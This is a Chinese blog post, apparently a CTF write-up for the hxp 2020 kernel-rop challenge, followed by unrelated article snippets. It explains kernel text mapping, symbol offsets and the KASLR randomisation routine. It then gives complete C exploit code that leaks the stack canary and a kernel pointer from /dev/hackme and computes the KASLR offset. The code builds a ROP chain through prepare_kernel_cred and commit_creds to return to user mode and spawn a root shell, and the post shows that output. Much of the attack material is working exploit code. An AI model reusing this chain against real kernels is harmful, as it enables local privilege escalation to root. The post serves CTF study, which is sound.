0006-TIPS-2020-hxp-kernel-rop : bypass-KASLR-with-offset_leak

news2024/11/18 4:50:59

内核默认加载地址(不开启KASLR)

kernel text mapping

在内核linux-5.9/Documentation/x86/x86_64/mm.rst文档中记录了 x86_64虚拟地址空间布局
其中0xffffffff80000000~0xffffffff9fffffff用于存放内核代码段全局变量BSS

   ffffffff80000000 |   -2    GB | ffffffff9fffffff |  512 MB | kernel text mapping, mapped to physical address 0

该区域的起始地址,在内核中使用__START_KERNEL_map宏来表示

// linux-5.9/arch/x86/include/asm/page_64_types.h
#define __START_KERNEL_map	_AC(0xffffffff80000000, UL)

同时,mm.rst文档中也描述该区域会被映射到物理地址0处

__START_KERNEL宏 和 __PHYSICAL_START宏

__PHYSICAL_START宏是内核代码段在物理内存中的起始地址
__START_KERNEL宏是是内核代码段映射的起始虚拟地址

// include/generated/autoconf.h
#define CONFIG_PHYSICAL_START 0x1000000
#define CONFIG_PHYSICAL_ALIGN 0x200000

// arch/x86/include/asm/page_types.h
#define __PHYSICAL_START	ALIGN(CONFIG_PHYSICAL_START, \
				      CONFIG_PHYSICAL_ALIGN)
				      
#define __START_KERNEL		(__START_KERNEL_map + __PHYSICAL_START)			      

可以看出
__PHYSICAL_START宏 的默认值是 0x1000000
__START_KERNEL宏 的默认值是 0xffffffff81000000

内核.text 和 startup_64

内核代码段起始位置存储的startup_64函数的代码

// arch/x86/kernel/head_64.S
	.text
	__HEAD
	.code64
SYM_CODE_START_NOALIGN(startup_64)
	UNWIND_HINT_EMPTY
	leaq	(__end_init_task - SIZEOF_PTREGS)(%rip), %rsp
	call verify_cpu
	leaq	_text(%rip), %rdi
	pushq	%rsi
	call	__startup_64
	[...]

在未开启KASLR的内核中查看函数符号的地址

/ # cat /proc/kallsyms | grep "startup_64"
ffffffff81000000 T startup_64    # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81000030 T secondary_startup_64
ffffffff810001f0 T __startup_64
/ # cat /proc/kallsyms | grep "_text"
ffffffff81000000 T _text		# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

可以看到_textstartup_64的地址都是0xffffffff81000000,而startup_64的地址又被称为内核基地址

内核符号到内核基地址的偏移

首先在当前题目中,不开启KASLR,查看多个符号

/ # cat /proc/kallsyms | grep "startup_64"
ffffffff81000000 T startup_64				# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81000030 T secondary_startup_64
ffffffff810001f0 T __startup_64
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred		# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds				# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds

prepare_kernel_credstartup_64的偏移是 0x4c67f0
commit_credsstartup_64的偏移是 4c6410

还是在当前题目中,开启KASLR,查看多个符号

/ # cat /proc/kallsyms | grep "startup_64"
ffffffff86000000 T startup_64				# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86000030 T secondary_startup_64
ffffffff860001f0 T __startup_64
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff864c67f0 T prepare_kernel_cred		# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff86fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff86fa4d42 r __kstrtabns_prepare_kernel_cred
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff864c6410 T commit_creds				# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86f87d90 r __ksymtab_commit_creds
ffffffff86fa0972 r __kstrtab_commit_creds
ffffffff86fa4d42 r __kstrtabns_commit_creds

prepare_kernel_credstartup_64的偏移是 0x4c67f0
commit_credsstartup_64的偏移是 4c6410
可以看到无论是否开启KASLR(现在不关心FSGASLR),对于同一个内核环境,各个内核符号到内核基地址的偏移时不变的,也就是说,只要获取了任意一个符号的真实地址,就可以通过偏移量计算处所有符号的地址

KASLR 内核地址随机化流程

内核配置选项中CONFIG_RANDOMIZE_BASE,就打开了KASLR功能;当然在内核启动过程中会检查启动命令参数中是否包含nokaslr,如果存在,地址随机化功能也是关闭的
主要逻辑如下

// arch/arm64/kernel/kaslr.c
/*
 * Since this function examines addresses much more numerically,
 * it takes the input and output pointers as 'unsigned long'.
 */
void choose_random_location(unsigned long input,
			    unsigned long input_size,
			    unsigned long *output,
			    unsigned long output_size,
			    unsigned long *virt_addr)
{
	unsigned long random_addr, min_addr;

	if (cmdline_find_option_bool("nokaslr")) {
		warn("KASLR disabled: 'nokaslr' on cmdline.");
		return;
	}

#ifdef CONFIG_X86_5LEVEL
	if (__read_cr4() & X86_CR4_LA57) {
		__pgtable_l5_enabled = 1;
		pgdir_shift = 48;
		ptrs_per_p4d = 512;
	}
#endif

	boot_params->hdr.loadflags |= KASLR_FLAG;

	/* Prepare to add new identity pagetables on demand. */
	initialize_identity_maps();

	/* Record the various known unsafe memory ranges. */
	mem_avoid_init(input, input_size, *output);

	/*
	 * Low end of the randomization range should be the
	 * smaller of 512M or the initial kernel image
	 * location:
	 */
	min_addr = min(*output, 512UL << 20);

	/* Walk available memory entries to find a random address. */
	random_addr = find_random_phys_addr(min_addr, output_size);
	if (!random_addr) {
		warn("Physical KASLR disabled: no suitable memory region!");
	} else {
		/* Update the new physical address location. */
		if (*output != random_addr) {
			add_identity_map(random_addr, output_size);
			*output = random_addr;
		}

		/*
		 * This loads the identity mapping page table.
		 * This should only be done if a new physical address
		 * is found for the kernel, otherwise we should keep
		 * the old page table to make it be like the "nokaslr"
		 * case.
		 */
		finalize_identity_maps();
	}


	/* Pick random virtual address starting from LOAD_PHYSICAL_ADDR. */
	if (IS_ENABLED(CONFIG_X86_64))
		random_addr = find_random_virt_addr(LOAD_PHYSICAL_ADDR, output_size);
	*virt_addr = random_addr;
}
  • 检查是否在命令行中设置了 “nokaslr” 参数:
    • 如果在命令行中设置了 “nokaslr” 参数,则禁用 KASLR(内核地址空间布局随机化)并返回。
    • 否则,继续执行后续的 KASLR 相关操作。
  • 针对支持 5 级页表(CONFIG_X86_5LEVEL)的系统进行处理:
    • 如果启用了 5 级页表,设置相关变量,包括 __pgtable_l5_enabled、pgdir_shift 和 ptrs_per_p4d。
  • 将 KASLR_FLAG 标志添加到引导参数(boot_params->hdr.loadflags)中,表示启用 KASLR。
  • 初始化身份映射(identity maps):
    • 在需要时准备添加新的身份映射页表。
  • 记录已知的不安全内存范围:
  • 调用 mem_avoid_init 函数,传递输入内存范围和输出内存范围,用于记录已知的不安全内存范围。
  • 确定随机化范围的最低地址(min_addr):
    • min_addr 的值是输出地址和 512MB 中较小的一个。
  • 通过遍历可用内存条目,找到一个随机的物理地址:
    • 调用 find_random_phys_addr 函数,在最低地址(min_addr)和输出内存范围大小(output_size)之间查找一个随机的物理地址。
    • 如果未找到适合的内存区域,则打印警告消息并禁用物理 KASLR。
    • 否则,更新输出地址为找到的随机地址,并添加身份映射。
  • 最终化身份映射:
    • 调用 finalize_identity_maps 函数,加载新的身份映射页表。
  • 选择随机的虚拟地址:
    • 如果启用了 64 位(CONFIG_X86_64),调用 find_random_virt_addr 函数,在 LOAD_PHYSICAL_ADDR 和输出内存范围大小之间查找一个随机的虚拟地址。
    • 将找到的随机虚拟地址赋值给 virt_addr。
      通过这些步骤,choose_random_location 函数实现了 KASLR 的关键逻辑,包括选择随机的物理地址和虚拟地址,并更新对应的输出参数。

题目解

启用kaslr(内核地址随机化),但是禁用 fgkaslr

#!/bin/sh
qemu-system-x86_64 \
    -m 1024M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nofgkaslr quiet panic=1"

由于该题目只是栈溢出,只能在读取栈上的内容,看看能不能读到什么特别的东西(没有特别的技巧)

多输出一些栈中的内容,观察是否有可用的点

#include <fcntl.h>  // open()
#include <stdbool.h>
#include <stdint.h> // uint8_t | uint64_t
#include <stdio.h>
#include <stdlib.h> // exit()
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    for (int i = 0; i < 40; i++)
        printf("[*] leaking #%d: 0x%lx\n", i, leak[i]);
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();

    return 0;
}

在这里插入图片描述

发现在内核栈中,#38处的内容与内核基地址的有着固定的差值
只要 leak[38] & 0xffffffffffff0000的结果就能获取到开启KASLR后的内核基地址,再通过这个内核基地址加上各符号的偏移就能获取各符号的实际地址

/*
...
[*] leaking #37: 0xffffbfbb801bff48
[*] leaking #38: 0xffffffffa0e0a157
[*] leaking #39: 0x0
...
TODO 获取溢出的内容,这些内容里面可能包含函数指针,通过这些函数指针,可以计算出内核基地址

在泄露的数据中,我们可以看到索引为38的整数与内核基地址相似,如果我们将该整数的最低0xffff归零,
我们将获得内核基地址:
*/


#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
int64_t kernel_base_offset = 0;
uint64_t kernel_base = 0xffffffff81000000;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie_and_kernel_offset() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base;
    printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset);
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void overwrite_ret() {
    puts("[*] trying to run ROP chain and bypass KASLR with kernel offset leak");
    uint8_t sz = 35;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = prepare_kernel_cred + kernel_base_offset;
    payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret + kernel_base_offset;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = commit_creds + kernel_base_offset;
    payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = user_rip;
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie_and_kernel_offset();
    save_userland_state();
    overwrite_ret();

    return 0;
}

结果

Booting from ROM..
/ $ ./06_bypass_kaslr
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] got kernel base address offset: 0x1cc00000
[+] found stack canary: 0x5c45408670922e00 @ index 16
[*] saving user land state
[*] trying to run ROP chain and bypass KASLR with kernel offset leak
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #

参考

https://www.anquanke.com/post/id/235482
https://fanlv.fun/2021/07/25/linux-mem/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#kaslr
https://blog.wohin.me/posts/linux-kernel-pwn-01/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/660943.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为OD机试真题 JavaScript 实现【字符串序列判定】【2022Q4 100分】,附详细解题思路

一、题目描述 输入两个字符串a和b&#xff0c;都只包含英文小写字母。a长度<100&#xff0c;b长度<500,000。 判定a是否是b的有效子串。 判定规则&#xff1a; a中的每个字符在b中都能找到&#xff08;可以不连续&#xff09;&#xff0c;且a在b中字符的前后顺序与a中…

【SQL应知应会】分析函数的点点滴滴(一)

欢迎来到爱书不爱输的程序猿的博客, 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 本文收录于SQL应知应会专栏,本专栏主要用于记录对于数据库的一些学习&#xff0c;有基础也有进阶&#xff0c;有MySQL也有Oracle 分析函数的点点滴滴 1.什么是分析函数&#xff1a;…

万字详解常用设计模式

本文是博主在工作中对常用设计模式的使用经验总结归纳而来分享给大家。 设计模式一共有23种&#xff0c;本文讲解涉及如下&#xff1a; 责任链模式 模板方法模式 发布订阅模式 策略模式 三大分类 业界一般将设计模式分为三大类&#xff1a; 创建型模式&#xff1a;对类的实…

chatgpt赋能python:Python怎样调字体大小以及优化网站SEO

Python怎样调字体大小以及优化网站SEO 在现代网络时代&#xff0c;网站的排名和SEO越来越受到关注。有一些关键词和技巧可以用来在搜索引擎排名中获得好的位置。其中一个技术是调整字体大小。在本文中&#xff0c;我们将深入探讨如何使用Python调整字体大小&#xff0c;并进一…

chatgpt赋能python:Python如何随机产生多个随机数?

Python如何随机产生多个随机数&#xff1f; Python是一种高级编程语言&#xff0c;它的随机数生成器是其强大的功能之一。在本文中&#xff0c;我们将学习如何使用Python随机数生成器生成多个随机数。 基本概念&#xff1a;随机数生成器 随机数生成器是一种算法或物理设备&a…

【Python】APScheduler定时调度库

文章目录 APScheduler是什么功能特点四大组件触发器[triggers]date 一次性触发器interval 间隔触发器cron 周期触发器 任务存储器[JobStore]MemoryJobStoreMongoDBJobStoreRedisJobStore示例代码 RethinkDBJobStoreSQLAlchemyJobStoreZooKeeperJobStore 执行器[executors]线程池…

chatgpt赋能python:Python如何隐藏进程

Python如何隐藏进程 介绍 进程是指运行中的程序在操作系统中的一个实例。在计算机系统中&#xff0c;进程通常都可以被用户或者其他程序所看到。然而&#xff0c;有时候我们需要隐藏进程&#xff0c;比如保护敏感信息或者防止恶意攻击。 Python是一种高级编程语言&#xff0…

Maven学习笔记(SSM 整合伪分布式案例)

目录 第一节 创建工程&#xff0c;引入依赖 1 创建工程 ①工程清单 ②工程间关系 2、各工程 POM 配置 ①父工程 ②Mybatis 逆向工程 ③环境依赖工程 ④工具类工程 ⑤实体类工程 ⑥组件工程 ⑦Web 工程 第二节 搭建环境&#xff1a;持久化层 1、物理建模 2、Myba…

leetcode算法 -- 数组

1 数组 常见的数组算法有双指针&#xff0c;滑动窗口&#xff0c;二分查找和分冶。 2 双指针 核心的思路&#xff1a;使用两个指针&#xff0c;一个从头开始索引&#xff0c;一个从尾开始索引。 2.1 两数之和ii 167 给你一个下标从 1 开始的整数数组 numbers &#xff0c;该…

chatgpt赋能python:Python怎么随机生成一个数

Python怎么随机生成一个数 在Python编程中&#xff0c;经常有需要随机生成一个整数的需求&#xff0c;比如在游戏中生成随机的道具&#xff0c;或者在数据分析中进行随机采样。 Python中提供了一个内置的random模块&#xff0c;可以方便地实现随机生成一个数。 使用random模…

【Windows】虚拟串口工具VSPD6.9安装

【Windows】虚拟串口工具VSPD6.9安装 1、背景2、安装3、补丁4、验证5、下载 1、背景 参考【Windows】虚拟串口工具VSPD7.2安装。 本博客安装的版本是VSPD6.9&#xff0c;并在文末留下下载链接&#xff0c;以供学习研究。 虚拟串口工具一般用来做上位机软件的串口通信调试&…

Java性能权威指南-总结14

Java性能权威指南-总结14 堆内存最佳实践对象生命周期管理对象重用 堆内存最佳实践 对象生命周期管理 在很大程度上&#xff0c;Java会尽量减轻开发者投入到对象生命周期管理上的精力&#xff1a;开发者在需要的时候创建对象&#xff0c;当不再需要这些对象时&#xff0c;它们…

C++11新特性之右值引用

目录 前文 一&#xff0c;什么是右值引用&#xff1f; 二&#xff0c;左值引用和右值引用比较 三&#xff0c;右值引用的应用场景以及作用 四&#xff0c; 右值引用左值的场景分析 五&#xff0c;完美转发 总结 前文 在C98标准后&#xff0c;C11标准的更新为C注入了新活力&…

chatgpt赋能python:Python如何生成100个随机整数

Python如何生成100个随机整数 在Python中&#xff0c;我们可以使用random库来生成随机整数。在本文中&#xff0c;我们将介绍如何使用Python生成100个随机整数。 什么是随机整数 随机整数是指在一定范围内&#xff0c;产生的整数是随机的且不重复的。这在数据分析、机器学习…

2. CSS的元素显示模式

了解元素的显示模式可以更好的让我们布局页面. 1.什么是元素的显示模式 2.元素显示模式的分类 3.元素显示模式的转换 2.1什么是元素显示模式 作用:网页的标签非常多&#xff0c;在不同地方会用到不同类型的标签&#xff0c;了解他们的特点可以更好的布局我们的网页。 元素显示…

chatgpt赋能python:如何在Python中创建模块:完整指南

如何在Python中创建模块&#xff1a;完整指南 如果你是一位Python开发者&#xff0c;你肯定需要用到模块。模块使得代码更容易组织和管理&#xff0c;并且可以复用许多代码片段&#xff0c; 提高代码的可重用性。在Python中&#xff0c;模块是一组相关函数&#xff0c;方法和变…

[论文笔记]End-to-end Sequence Labeling via Bi-directional LSTM-CNNs-CRF

引言 本文是论文End-to-end Sequence Labeling via Bi-directional LSTM-CNNs-CRF的阅读笔记。 本论文提出了一个受益于单词级(word)和字符级(character)表示的网络架构,通过组合双向LSTM,CNN和CRF。 简介 首先通过CNN编码一个单词的字符级信息到相应的字符表征。然后组合…

【C数据结构】动态顺序表_SeqList

目录 【1】数据结构概述 【1.1】什么是数据结构&#xff1f; 【1.2】数据结构分类 【1.3】数据结构术语 【2】数据结构特点 【2】动态顺序表 【2.1】动态顺序表定义数据结构和接口 【2.1】动态顺序表创建初始化 【2.2】动态顺序表初始化 【2.3】动态顺序表内存释放 【…

【Express.js】处理请求数据

处理请求数据 本节将具体介绍express后端处理请求源携带数据的一些方法和技巧 动态路径 很多时候我们需要处理一些类似但有操作差别或不同对象的业务&#xff0c;我们可以监听一段基本路径&#xff0c;将其中某一个段或者某几段路径作为变量&#xff0c;在接口中根据不同的路…

大学计算机专业实习心得报告13篇

大学计算机专业实习心得报告&#xff08;篇1&#xff09; 通过理论联系实际&#xff0c;巩固所学的知识&#xff0c;提高处理实际问题的能力&#xff0c;为顺利毕业进行做好充分的准备&#xff0c;并为自己能顺利与社会环境接轨做准备。通过这次实习&#xff0c;使我们进一步理…